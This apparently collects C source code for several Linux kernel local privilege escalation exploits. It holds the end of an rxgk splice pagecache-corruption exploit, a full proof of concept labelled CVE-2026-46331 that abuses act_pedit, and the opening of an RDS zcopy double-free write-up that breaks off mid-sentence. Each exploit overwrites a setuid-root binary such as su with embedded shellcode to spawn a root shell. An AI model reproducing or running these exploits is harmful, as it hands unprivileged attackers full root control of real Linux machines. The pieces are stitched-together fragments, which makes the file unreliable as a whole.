msg.msg_controllen = sizeof(cmsg_buf); struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg); cmsg->cmsg_level = SOL_RXRPC; cmsg->cmsg_type = RXRPC_USER_CALL_ID; cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long)); *(unsigned long *)CMSG_DATA(cmsg) = 0xDEAD; int fl = fcntl(cli_fd, F_GETFL); fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK); ssize_t n = sendmsg(cli_fd, &msg, 0); fcntl(cli_fd, F_SETFL, fl); if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK) return -1; return 0; } static int setup_udp_server(uint16_t port) { int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) return -1; struct sockaddr_in sa = { .sin_family = AF_INET, .sin_port = htons(port), .sin_addr.s_addr = htonl(0x7F000001), }; int one = 1; setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { close(s); return -1; } return s; } static ssize_t udp_recv(int s, void *buf, size_t cap, struct sockaddr_in *from, int timeout_ms) { struct pollfd pfd = { .fd = s, .events = POLLIN }; if (poll(&pfd, 1, timeout_ms) <= 0) return -1; socklen_t fl = from ? sizeof(*from) : 0; return recvfrom(s, buf, cap, 0, (struct sockaddr *)from, from ? &fl : NULL); } /* * Fire one splice-based pagecache corruption at the given file offset. * Sets up an rxgk connection with the provided key, completes the handshake * via a fake UDP server on loopback, then splices pagecache pages into a * forged DATA packet. The kernel's in-place decrypt corrupts the pagecache. * * Returns 1 on fire, -1 on setup error. */ static int trigger_seq = 0; static int fire(int target_fd, off_t splice_off, size_t splice_len, const uint8_t *base_key, size_t keylen) { char keyname[32]; snprintf(keyname, sizeof(keyname), "rxgk%d", trigger_seq++); long key = add_rxgk_key(keyname, base_key, keylen); if (key < 0) return -1; /* Use high-entropy ports to avoid TIME_WAIT collisions */ uint16_t port_S = 10000 + (rand() % 27000) * 2; uint16_t port_C = port_S + 1; int ret = -1; int udp_srv = setup_udp_server(port_S); if (udp_srv < 0) goto out_key; int cli = setup_rxrpc_client(port_C, keyname); if (cli < 0) goto out_udp; if (initiate_call(cli, port_S, 1234) < 0) goto out_cli; uint8_t pkt[2048]; struct sockaddr_in cli_addr; ssize_t n = udp_recv(udp_srv, pkt, sizeof(pkt), &cli_addr, 50); if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) goto out_cli; struct rxrpc_wire_header *hdr = (struct rxrpc_wire_header *)pkt; uint32_t epoch = ntohl(hdr->epoch); uint32_t cid = ntohl(hdr->cid); uint32_t callN = ntohl(hdr->callNumber); uint16_t svc = ntohs(hdr->serviceId); uint16_t cport = ntohs(cli_addr.sin_port); /* send challenge */ { uint8_t ch[sizeof(struct rxrpc_wire_header) + 20]; memset(ch, 0, sizeof(ch)); struct rxrpc_wire_header *c = (struct rxrpc_wire_header *)ch; c->epoch = htonl(epoch); c->cid = htonl(cid); c->serial = htonl(0x10000); c->type = RXRPC_PACKET_TYPE_CHALLENGE; c->securityIndex = RXGK_SECURITY_INDEX; c->serviceId = htons(svc); for (int i = 0; i < 20; i++) ch[sizeof(struct rxrpc_wire_header) + i] = rand() & 0xFF; struct sockaddr_in to = { .sin_family = AF_INET, .sin_port = htons(cport), .sin_addr.s_addr = htonl(0x7F000001) }; sendto(udp_srv, ch, sizeof(ch), 0, (struct sockaddr *)&to, sizeof(to)); } /* drain response(s) */ for (int i = 0; i < 3; i++) { struct sockaddr_in src; if (udp_recv(udp_srv, pkt, sizeof(pkt), &src, 5) < 0) break; } /* forge DATA packet: wire header from userspace, payload from pagecache */ struct rxrpc_wire_header mal = {0}; mal.epoch = htonl(epoch); mal.cid = htonl(cid); mal.callNumber = htonl(callN); mal.seq = htonl(1); mal.serial = htonl(0x42000); mal.type = RXRPC_PACKET_TYPE_DATA; mal.flags = RXRPC_LAST_PACKET; mal.securityIndex = RXGK_SECURITY_INDEX; mal.serviceId = htons(svc); struct sockaddr_in dst = { .sin_family = AF_INET, .sin_port = htons(cport), .sin_addr.s_addr = htonl(0x7F000001) }; if (connect(udp_srv, (struct sockaddr *)&dst, sizeof(dst)) < 0) goto out_cli; int p[2]; if (pipe(p) < 0) goto out_cli; struct iovec viv = { .iov_base = &mal, .iov_len = sizeof(mal) }; if (vmsplice(p[1], &viv, 1, 0) < 0) { close(p[0]); close(p[1]); goto out_cli; } loff_t off = splice_off; if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0) { close(p[0]); close(p[1]); goto out_cli; } if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0) { close(p[0]); close(p[1]); goto out_cli; } close(p[0]); close(p[1]); usleep(1000); /* drain the error from the client socket (HMAC check fails as expected) */ int fl = fcntl(cli, F_GETFL); fcntl(cli, F_SETFL, fl | O_NONBLOCK); for (int i = 0; i < 2; i++) { char rb[2048]; struct sockaddr_rxrpc srx; char ccb[256]; struct msghdr m = {0}; struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) }; m.msg_name = &srx; m.msg_namelen = sizeof(srx); m.msg_iov = &iv; m.msg_iovlen = 1; m.msg_control = ccb; m.msg_controllen = sizeof(ccb); recvmsg(cli, &m, 0); } ret = 1; out_cli: close(cli); out_udp: close(udp_srv); out_key: syscall(SYS_keyctl, 9 /* KEYCTL_UNLINK */, key, KEY_SPEC_PROCESS_KEYRING); syscall(SYS_keyctl, 21 /* KEYCTL_INVALIDATE */, key); return ret; } /* --- sliding window write with progress display --- */ static void progress(int done, int total, int fires) { int width = 40; int filled = total ? (done * width / total) : 0; int pct = total ? (done * 100 / total) : 0; fprintf(stderr, "\r ["); for (int j = 0; j < width; j++) fputc(j < filled ? '=' : (j == filled ? '>' : ' '), stderr); fprintf(stderr, "] %3d%% (%d/%d, %d fires)", pct, done, total, fires); if (done == total) fputc('\n', stderr); fflush(stderr); } static int pagecache_write(int rfd, void *map, off_t base, const uint8_t *target, int len, off_t file_size, const char *label) { uint8_t key[16]; uint64_t seed = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid(); struct timespec t0; clock_gettime(CLOCK_MONOTONIC, &t0); int total = 0; int max_off = (int)(file_size - 28); if (base + len - 1 > max_off) len = max_off - (int)base + 1; /* Find first byte that differs. We must write everything from there * onward, because each round's 15-byte damage zone corrupts the next * bytes even if they originally matched. */ int start = 0; for (int i = 0; i < len; i++) { uint8_t cur; pread(rfd, &cur, 1, base + i); if (cur != target[i]) { start = i; break; } if (i == len - 1) { LOG("pagecache already matches, skipping write"); return 0; } } int need = len - start; LOG("writing shellcode to %s (%d bytes from offset %d)", label, need, (int)base + start); progress(0, need, 0); for (int i = start; i < len; i++) { off_t off = base + i; uint8_t want = target[i]; uint8_t cur; pread(rfd, &cur, 1, off); if (cur == want && i > start) { /* Byte matches AND we haven't just written (no damage pending). * This only happens for the first byte after start, which is * impossible since start IS the first diff. After that, each * round's damage means we always write. Just be safe: */ continue; } int ok = 0; for (int att = 0; att < 10000; att++) { seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17; uint64_t r = seed; seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17; memcpy(key, &r, 8); memcpy(key + 8, &seed, 8); size_t slen = 28; if (off + (off_t)slen > file_size) slen = file_size - off; if (slen < 16) slen = 16; int rc = fire(rfd, off, slen, key, AES_KEY_LEN); total++; if (rc == 1 && ((const uint8_t *)map)[off] == want) { ok = 1; progress(i - start + 1, need, total); break; } } if (!ok) { fprintf(stderr, "\n"); ERR("byte %d/%d failed", i - start + 1, need); return -1; } } struct timespec t1; clock_gettime(CLOCK_MONOTONIC, &t1); double dt = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9; LOG("%d fires in %.1fs", total, dt); return 0; } /* --- tiny ELF: setuid(0) + execve("/bin/sh") --- * 120-byte ET_DYN ELF with overlapping phdr+header and /bin/sh in p_paddr. * Matches the first 24 bytes of any PIE binary (ET_DYN, x86_64). * PT_LOAD covers 120 bytes; the 15-byte sliding-window damage * tail at offset 120+ is past the loadable segment. */ static const uint8_t tiny_elf[] = { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x03,0x00,0x3e,0x00,0x01,0x00,0x00,0x00, 0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00, 0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* code: */ 0xb0,0x69,0x0f,0x05, /* setuid(0) */ 0x48,0x8d,0x3d,0xdd,0xff,0xff,0xff, /* lea rdi, \"/bin/sh\" */ 0x6a,0x3b,0x58, /* push 59; pop rax */ 0x0f,0x05, /* execve(\"/bin/sh\", 0, 0) */ }; /* --- main --- */ int main(int argc, char **argv) { (void)argc; (void)argv; srand(time(NULL) ^ getpid()); fprintf(stderr, "\n=== rxgk pagecache write ===\n"); fprintf(stderr, "uid=%u euid=%u\n", getuid(), geteuid()); /* Target: any setuid-root binary readable by us. */ const char *targets[] = { "/usr/bin/su", "/bin/su", "/usr/bin/mount", "/usr/bin/passwd", "/usr/bin/chsh", NULL }; const char *target_path = NULL; for (int i = 0; targets[i]; i++) { struct stat sb; if (stat(targets[i], &sb) == 0 && (sb.st_mode & S_ISUID) && sb.st_uid == 0 && access(targets[i], R_OK) == 0) { target_path = targets[i]; break; } } if (!target_path) { ERR("no readable setuid-root binary found"); return 1; } /* Back up the target binary so the root shell can restore it. */ char backup[256]; const char *base = strrchr(target_path, '/'); base = base ? base + 1 : target_path; snprintf(backup, sizeof(backup), "/tmp/.%s_%d", base, getpid()); { int src = open(target_path, O_RDONLY); int dst = open(backup, O_WRONLY | O_CREAT | O_TRUNC, 0600); if (src >= 0 && dst >= 0) { char buf[4096]; ssize_t n; while ((n = read(src, buf, sizeof(buf))) > 0) write(dst, buf, n); } if (src >= 0) close(src); if (dst >= 0) close(dst); } int rfd = open(target_path, O_RDONLY); if (rfd < 0) { perror(target_path); return 1; } void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd, 0); if (map == MAP_FAILED) { perror("mmap"); return 1; } pid_t pid = fork(); if (pid < 0) { perror("fork"); return 1; } if (pid == 0) { setup_ns(); usleep(10000); int sock = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); if (sock < 0) { ERR("AF_RXRPC unavailable"); _exit(1); } close(sock); struct stat sb; fstat(rfd, &sb); _exit(pagecache_write(rfd, map, 0, tiny_elf, sizeof(tiny_elf), sb.st_size, target_path) < 0 ? 2 : 0); } int st; waitpid(pid, &st, 0); if (!WIFEXITED(st) || WEXITSTATUS(st) != 0) { ERR("corruption failed (status 0x%x)", st); unlink(backup); return 1; } munmap(map, 4096); close(rfd); LOG("exec %s", target_path); LOG("restore: cp %s %s", backup, target_path); fflush(stderr); execlp(target_path, target_path, (char *)NULL); perror(target_path); return 1; } /* * CVE-2026-46331.c -- Linux kernel net/sched act_pedit partial COW page cache corruption * Local Privilege Escalation PoC * * Author: Ashraf Zaryouh "0xBlackash" * Based on public research and sgkdev's packet_edit_meme * WARNING: For educational and authorized testing purposes only. * Do not use on systems you do not own. */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* pedit_primitive integrated */ #define PEDIT_SLOT 4 #define PEDIT_MAX_WRITE 36 #define IP_IHL_KEY_OFFSET 0 #define IP_IHL_KEY_VALUE 0x4fu #define IP_IHL_KEY_MASK 0xffffff00u #define MAX_PEDIT_KEYS (1 + PEDIT_MAX_WRITE / PEDIT_SLOT) #define LOOPBACK_ADDR 0x7f000001u #define LOOPBACK_PREFIX 8 #define LOOPBACK_PORT 4445 #define LISTEN_BACKLOG 8 #define SETTLE_USEC 250000 #define CALIB_PATH "/tmp/.pedit_calib" #define CALIB_LEN 4096 #define CALIB_PROBE_OFFSET 512 #define CALIB_MARK_BYTE 0xccu #define REQUEST_BUF_LEN 8192 #define REPLY_BUF_LEN 4096 #define FILTER_PRIO 1 #define ACTION_LIST_FIRST 1 #ifndef NLA_F_NESTED #define NLA_F_NESTED (1 << 15) #endif #ifndef TC_H_CLSACT #define TC_H_CLSACT TC_H_INGRESS #endif #ifndef TC_H_MIN_EGRESS #define TC_H_MIN_EGRESS 0xFFF3u #endif #ifndef TC_ACT_PIPE #define TC_ACT_PIPE 3 #endif #ifndef TCA_MATCHALL_ACT #define TCA_MATCHALL_ACT 2 #endif #define MIN_DATA_PKT_LEN 100 #ifndef TCA_EM_META_HDR #define TCA_EM_META_HDR 1 #define TCA_EM_META_RVALUE 3 #endif #define META_TYPE_INT 1 #define META_ID_PKTLEN 9 #define META_ID_VALUE 0 #define META_KIND_PKTLEN ((META_TYPE_INT << 12) | META_ID_PKTLEN) #define META_KIND_VALUE ((META_TYPE_INT << 12) | META_ID_VALUE) struct meta_value { uint16_t kind; uint8_t shift; uint8_t op; }; struct meta_header { struct meta_value left; struct meta_value right; }; struct pedit_key_spec { uint32_t offset; uint32_t value; uint32_t mask; uint16_t header_type; }; static int netlink_fd = -1; static int loopback_index; static int listen_fd = -1; static int offset_delta; static int use_matchall; static unsigned int request_seq = 1; static char request_buf[REQUEST_BUF_LEN]; static struct nlmsghdr *request_hdr; static void request_begin(int type, int flags) { memset(request_buf, 0, sizeof(request_buf)); request_hdr = (struct nlmsghdr *)request_buf; request_hdr->nlmsg_len = NLMSG_HDRLEN; request_hdr->nlmsg_type = type; request_hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags; request_hdr->nlmsg_seq = request_seq++; } static void *request_reserve(int length) { void *area = (char *)request_buf + NLMSG_ALIGN(request_hdr->nlmsg_len); request_hdr->nlmsg_len = NLMSG_ALIGN(request_hdr->nlmsg_len) + length; return area; } static void request_append(const void *data, int length) { memcpy(request_reserve(length), data, length); } static void request_attr(int type, const void *data, int length) { struct rtattr *attr = request_reserve(RTA_LENGTH(length)); attr->rta_type = type; attr->rta_len = RTA_LENGTH(length); memcpy(RTA_DATA(attr), data, length); } static void request_attr_str(int type, const char *text) { request_attr(type, text, strlen(text) + 1); } static struct rtattr *request_nest_begin(int type) { struct rtattr *attr = request_reserve(RTA_LENGTH(0)); attr->rta_type = type | NLA_F_NESTED; attr->rta_len = RTA_LENGTH(0); return attr; } static struct rtattr *request_blob_begin(int type) { struct rtattr *attr = request_reserve(RTA_LENGTH(0)); attr->rta_type = type; attr->rta_len = RTA_LENGTH(0); return attr; } static void request_nest_end(struct rtattr *attr) { attr->rta_len = (char *)request_buf + request_hdr->nlmsg_len - (char *)attr; } static int request_send(int allow_enoent) { char reply_buf[REPLY_BUF_LEN]; struct nlmsghdr *reply; struct nlmsgerr *reply_error; int received; if (send(netlink_fd, request_buf, request_hdr->nlmsg_len, 0) < 0) return -1; received = recv(netlink_fd, reply_buf, sizeof(reply_buf), 0); if (received < 0) return -1; reply = (struct nlmsghdr *)reply_buf; if (reply->nlmsg_type != NLMSG_ERROR) return 0; reply_error = NLMSG_DATA(reply); if (reply_error->error && !(allow_enoent && reply_error->error == -ENOENT)) return reply_error->error; return 0; } static int link_up(int index) { struct ifinfomsg link; request_begin(RTM_NEWLINK, 0); memset(&link, 0, sizeof(link)); link.ifi_family = AF_UNSPEC; link.ifi_index = index; link.ifi_flags = IFF_UP; link.ifi_change = IFF_UP; request_append(&link, sizeof(link)); return request_send(0); } static int link_set_addr(int index, uint32_t addr) { struct ifaddrmsg ifaddr; uint32_t addr_be = htonl(addr); request_begin(RTM_NEWADDR, NLM_F_CREATE | NLM_F_REPLACE); memset(&ifaddr, 0, sizeof(ifaddr)); ifaddr.ifa_family = AF_INET; ifaddr.ifa_prefixlen = LOOPBACK_PREFIX; ifaddr.ifa_index = index; request_append(&ifaddr, sizeof(ifaddr)); request_attr(IFA_LOCAL, &addr_be, sizeof(addr_be)); request_attr(IFA_ADDRESS, &addr_be, sizeof(addr_be)); return request_send(0); } static void clsact_delete(int index) { struct tcmsg msg; request_begin(RTM_DELQDISC, 0); memset(&msg, 0, sizeof(msg)); msg.tcm_family = AF_UNSPEC; msg.tcm_ifindex = index; msg.tcm_handle = TC_H_MAKE(TC_H_CLSACT, 0); msg.tcm_parent = TC_H_CLSACT; request_append(&msg, sizeof(msg)); request_send(1); } static int clsact_add(int index) { struct tcmsg msg; request_begin(RTM_NEWQDISC, NLM_F_CREATE | NLM_F_EXCL); memset(&msg, 0, sizeof(msg)); msg.tcm_family = AF_UNSPEC; msg.tcm_ifindex = index; msg.tcm_handle = TC_H_MAKE(TC_H_CLSACT, 0); msg.tcm_parent = TC_H_CLSACT; request_append(&msg, sizeof(msg)); request_attr_str(TCA_KIND, "clsact"); return request_send(0); } static void append_pktlen_ematch(uint32_t threshold) { struct tcf_ematch_tree_hdr tree_header; struct tcf_ematch_hdr match_header; struct meta_header meta; struct rtattr *ematches; struct rtattr *match_list; struct rtattr *match; ematches = request_nest_begin(TCA_BASIC_EMATCHES); memset(&tree_header, 0, sizeof(tree_header)); tree_header.nmatches = 1; request_attr(TCA_EMATCH_TREE_HDR, &tree_header, sizeof(tree_header)); match_list = request_nest_begin(TCA_EMATCH_TREE_LIST); match = request_blob_begin(1); memset(&match_header, 0, sizeof(match_header)); match_header.kind = TCF_EM_META; match_header.flags = TCF_EM_REL_END; request_append(&match_header, sizeof(match_header)); memset(&meta, 0, sizeof(meta)); meta.left.kind = META_KIND_PKTLEN; meta.left.op = TCF_EM_OPND_GT; meta.right.kind = META_KIND_VALUE; request_attr(TCA_EM_META_HDR, &meta, sizeof(meta)); request_attr(TCA_EM_META_RVALUE, &threshold, sizeof(threshold)); request_nest_end(match); request_nest_end(match_list); request_nest_end(ematches); } static void append_pedit_action(const struct pedit_key_spec *keys, int key_count) { char selector_buf[sizeof(struct tc_pedit_sel) + MAX_PEDIT_KEYS * sizeof(struct tc_pedit_key)]; struct tc_pedit_sel *selector = (void *)selector_buf; struct tc_pedit_key *raw_keys = (void *)(selector_buf + sizeof(*selector)); struct rtattr *action; struct rtattr *action_options; struct rtattr *keys_ex; struct rtattr *key_ex; uint16_t header_type; uint16_t command; int selector_len; int index_iter; action = request_nest_begin(ACTION_LIST_FIRST); request_attr_str(TCA_ACT_KIND, "pedit"); action_options = request_nest_begin(TCA_ACT_OPTIONS); selector_len = sizeof(*selector) + key_count * sizeof(struct tc_pedit_key); memset(selector_buf, 0, selector_len); selector->nkeys = key_count; selector->action = TC_ACT_PIPE; for (index_iter = 0; index_iter < key_count; index_iter++) { raw_keys[index_iter].off = keys[index_iter].offset; raw_keys[index_iter].val = keys[index_iter].value; raw_keys[index_iter].mask = keys[index_iter].mask; } request_attr(TCA_PEDIT_PARMS_EX, selector_buf, selector_len); keys_ex = request_nest_begin(TCA_PEDIT_KEYS_EX); for (index_iter = 0; index_iter < key_count; index_iter++) { key_ex = request_nest_begin(TCA_PEDIT_KEY_EX); header_type = keys[index_iter].header_type; request_attr(TCA_PEDIT_KEY_EX_HTYPE, &header_type, sizeof(header_type)); command = TCA_PEDIT_KEY_EX_CMD_SET; request_attr(TCA_PEDIT_KEY_EX_CMD, &command, sizeof(command)); request_nest_end(key_ex); } request_nest_end(keys_ex); request_nest_end(action_options); request_nest_end(action); } static int egress_pedit_add(int index, const struct pedit_key_spec *keys, int key_count) { struct rtattr *options; struct rtattr *action_list; struct tcmsg msg; request_begin(RTM_NEWTFILTER, NLM_F_CREATE | NLM_F_EXCL); memset(&msg, 0, sizeof(msg)); msg.tcm_family = AF_UNSPEC; msg.tcm_ifindex = index; msg.tcm_parent = TC_H_MAKE(TC_H_CLSACT, TC_H_MIN_EGRESS); msg.tcm_info = TC_H_MAKE(FILTER_PRIO << 16, htons(ETH_P_ALL)); request_append(&msg, sizeof(msg)); if (use_matchall) { request_attr_str(TCA_KIND, "matchall"); options = request_nest_begin(TCA_OPTIONS); action_list = request_nest_begin(TCA_MATCHALL_ACT); } else { request_attr_str(TCA_KIND, "basic"); options = request_nest_begin(TCA_OPTIONS); append_pktlen_ematch(MIN_DATA_PKT_LEN); action_list = request_nest_begin(TCA_BASIC_ACT); } append_pedit_action(keys, key_count); request_nest_end(action_list); request_nest_end(options); return request_send(0); } static void fill_ihl_key(struct pedit_key_spec *key) { key->offset = IP_IHL_KEY_OFFSET; key->value = IP_IHL_KEY_VALUE; key->mask = IP_IHL_KEY_MASK; key->header_type = TCA_PEDIT_KEY_EX_HDR_TYPE_NETWORK; } static int pedit_burst(int src_fd, const struct pedit_key_spec *keys, int key_count) { struct sockaddr_in addr; struct stat info; off_t file_offset = 0; int client_fd; int server_fd; if (fstat(src_fd, &info)) return -1; clsact_delete(loopback_index); if (clsact_add(loopback_index)) return -1; memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = htonl(LOOPBACK_ADDR); addr.sin_port = htons(LOOPBACK_PORT); client_fd = socket(AF_INET, SOCK_STREAM, 0); if (client_fd < 0) return -1; if (connect(client_fd, (void *)&addr, sizeof(addr))) { close(client_fd); return -1; } server_fd = accept(listen_fd, NULL, NULL); if (server_fd < 0) { close(client_fd); return -1; } if (egress_pedit_add(loopback_index, keys, key_count)) { close(client_fd); close(server_fd); return -1; } fcntl(client_fd, F_SETFL, O_NONBLOCK); if (sendfile(client_fd, src_fd, &file_offset, info.st_size) < 0 && errno != EAGAIN) { close(client_fd); close(server_fd); return -1; } usleep(SETTLE_USEC); close(client_fd); close(server_fd); return 0; } static int calibrate(void) { struct pedit_key_spec keys[2]; uint8_t buf[CALIB_LEN]; int fd; int index_iter; int landed = -1; fd = open(CALIB_PATH, O_RDWR | O_CREAT | O_TRUNC, 0644); if (fd < 0) return -1; memset(buf, 0, sizeof(buf)); if (write(fd, buf, sizeof(buf)) != sizeof(buf)) { close(fd); return -1; } fsync(fd); fill_ihl_key(&keys[0]); keys[1].offset = CALIB_PROBE_OFFSET; keys[1].value = CALIB_MARK_BYTE * 0x01010101u; keys[1].mask = 0; keys[1].header_type = TCA_PEDIT_KEY_EX_HDR_TYPE_TCP; if (pedit_burst(fd, keys, 2)) { close(fd); return -1; } if (pread(fd, buf, sizeof(buf), 0) != sizeof(buf)) { close(fd); return -1; } for (index_iter = 0; index_iter + PEDIT_SLOT <= CALIB_LEN; index_iter++) { if (buf[index_iter] == CALIB_MARK_BYTE && buf[index_iter + 1] == CALIB_MARK_BYTE && buf[index_iter + 2] == CALIB_MARK_BYTE && buf[index_iter + 3] == CALIB_MARK_BYTE) { landed = index_iter; break; } } close(fd); unlink(CALIB_PATH); if (landed < 0) return -1; offset_delta = landed - CALIB_PROBE_OFFSET; return 0; } int setup(void) { struct sockaddr_in addr; int reuse = 1; netlink_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (netlink_fd < 0) return -1; loopback_index = if_nametoindex("lo"); if (!loopback_index || link_up(loopback_index)) return -1; link_set_addr(loopback_index, LOOPBACK_ADDR); listen_fd = socket(AF_INET, SOCK_STREAM, 0); if (listen_fd < 0) return -1; setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &reuse, sizeof(reuse)); memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = htonl(LOOPBACK_ADDR); addr.sin_port = htons(LOOPBACK_PORT); if (bind(listen_fd, (void *)&addr, sizeof(addr))) return -1; if (listen(listen_fd, LISTEN_BACKLOG)) return -1; if (calibrate() == 0) return 0; use_matchall = 1; return calibrate(); } int api_fd_write(int fd, off_t offset, const void *src, size_t size) { struct pedit_key_spec keys[MAX_PEDIT_KEYS]; const uint8_t *bytes = src; int key_count = 0; size_t pos; if (size == 0) return 0; if (size > PEDIT_MAX_WRITE || (size % PEDIT_SLOT) != 0) return -1; if (offset < (off_t)offset_delta) return -1; fill_ihl_key(&keys[key_count++]); for (pos = 0; pos < size; pos += PEDIT_SLOT) { keys[key_count].offset = (uint32_t)(offset + pos) - (uint32_t)offset_delta; keys[key_count].value = (uint32_t)bytes[pos] | ((uint32_t)bytes[pos + 1] << 8) | ((uint32_t)bytes[pos + 2] << 16) | ((uint32_t)bytes[pos + 3] << 24); keys[key_count].mask = 0; keys[key_count].header_type = TCA_PEDIT_KEY_EX_HDR_TYPE_TCP; key_count++; } return pedit_burst(fd, keys, key_count); } /* Main exploit logic */ #define SHELLCODE_PAD 0x90 static const unsigned char SHELLCODE[] = { 0x31, 0xff, 0xb8, 0x6a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x69, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xd2, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x52, 0x57, 0x48, 0x89, 0xe6, 0xb8, 0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, SHELLCODE_PAD, SHELLCODE_PAD, SHELLCODE_PAD, }; static const char *SU_PATHS[] = { "/bin/su", "/usr/bin/su", "/sbin/su", "/usr/sbin/su", NULL }; static const char *find_su(void) { struct stat info; int index; for (index = 0; SU_PATHS[index]; index++) { if (stat(SU_PATHS[index], &info) == 0 && S_ISREG(info.st_mode) && (info.st_mode & S_ISUID) && info.st_uid == 0) return SU_PATHS[index]; } return NULL; } static long elf_entry_offset(int fd) { Elf64_Ehdr ehdr; Elf64_Phdr phdr; int index; if (pread(fd, &ehdr, sizeof(ehdr), 0) != (ssize_t)sizeof(ehdr)) return -1; if (memcmp(ehdr.e_ident, ELFMAG, SELFMAG) != 0 || ehdr.e_ident[EI_CLASS] != ELFCLASS64) return -1; for (index = 0; index < ehdr.e_phnum; index++) { off_t at = ehdr.e_phoff + (off_t)index * ehdr.e_phentsize; if (pread(fd, &phdr, sizeof(phdr), at) != (ssize_t)sizeof(phdr)) return -1; if (phdr.p_type == PT_LOAD && (phdr.p_flags & PF_X) && ehdr.e_entry >= phdr.p_vaddr && ehdr.e_entry < phdr.p_vaddr + phdr.p_filesz) return (long)(ehdr.e_entry - phdr.p_vaddr + phdr.p_offset); } return -1; } static void write_proc_file(const char *path, const char *value) { int fd = open(path, O_WRONLY); if (fd >= 0) { write(fd, value, strlen(value)); close(fd); } } static int corrupt_entry(int su_fd, long entry_offset) { char map_line[64]; uid_t uid = getuid(); gid_t gid = getgid(); size_t written = 0; if (unshare(CLONE_NEWUSER | CLONE_NEWNET)) { perror("unshare"); return -1; } write_proc_file("/proc/self/setgroups", "deny"); snprintf(map_line, sizeof(map_line), "0 %u 1", uid); write_proc_file("/proc/self/uid_map", map_line); snprintf(map_line, sizeof(map_line), "0 %u 1", gid); write_proc_file("/proc/self/gid_map", map_line); if (setup()) return -1; while (written < sizeof(SHELLCODE)) { size_t chunk = sizeof(SHELLCODE) - written; if (chunk > PEDIT_MAX_WRITE) chunk = PEDIT_MAX_WRITE; if (api_fd_write(su_fd, entry_offset + written, SHELLCODE + written, chunk)) return -1; written += chunk; } return 0; } static int run_exploit(void) { const char *su_path; char *su_argv[2]; int su_fd; int sync_pipe[2]; long entry_offset; pid_t child; int status; char ack = 0; su_path = find_su(); if (!su_path) { fprintf(stderr, "[-] no setuid-root su found\n"); return 1; } su_fd = open(su_path, O_RDONLY); if (su_fd < 0) { perror("open su"); return 1; } entry_offset = elf_entry_offset(su_fd); if (entry_offset < 0) { fprintf(stderr, "[-] could not locate su entry point\n"); close(su_fd); return 1; } printf("[*] target %s entry at 0x%lx\n", su_path, entry_offset); if (pipe(sync_pipe)) { perror("pipe"); close(su_fd); return 1; } child = fork(); if (child < 0) { perror("fork"); close(su_fd); return 1; } if (child == 0) { close(sync_pipe[0]); if (corrupt_entry(su_fd, entry_offset)) _exit(1); write(sync_pipe[1], "1", 1); _exit(0); } close(sync_pipe[1]); read(sync_pipe[0], &ack, 1); waitpid(child, &status, 0); close(su_fd); if (ack != '1' || !WIFEXITED(status) || WEXITSTATUS(status) != 0) { fprintf(stderr, "[-] corruption failed\n"); return 1; } printf("[+] Corruption successful. Executing su for root shell...\n"); su_argv[0] = (char *)su_path; su_argv[1] = NULL; execve(su_path, su_argv, NULL); perror("execve"); return 1; } int main(int argc, char **argv) { if (getuid() == 0) { fprintf(stderr, "[-] Run as unprivileged user\n"); return 1; } printf("CVE-2026-46331 PoC by Ashraf Zaryouh \"0xBlackash\"\n"); return run_exploit(); } /* * RDS zcopy double-free -> LPE via io_uring page cache overwrite * * Bug: rds_message_zcopy_from_user() pins user pages via GUP (FOLL_GET) one * at a time. If a later page faults, the error path put_page()s the already * pinned pages, then rds_message_purge() __free_page()s them again because * op_mmp_znotifier was NULLed but op_nents/sg entries were left intact. When * the page still has other references, __free_page silently decrements the * refcount. Each failing sendmsg steals exactly one ref from the first page. * * On kernels with CONFIG_INIT_ON_ALLOC_DEFAULT_ON (which enables the * check_pages static key), __free_pages_prepare will see nonzero memcg_data * on a charged page and call bad_page(). init_on_alloc also zeros every * newly allocated page, destroying any payload placed before allocation. * * We bypass both. Pin the target page via io_uring REGISTER_BUFFERS, which * adds GUP_PIN_COUNTING_BIAS (1024) to the refcount through FOLL_PIN. Steal * all 1024 pin refs with failing zcopy sends. The 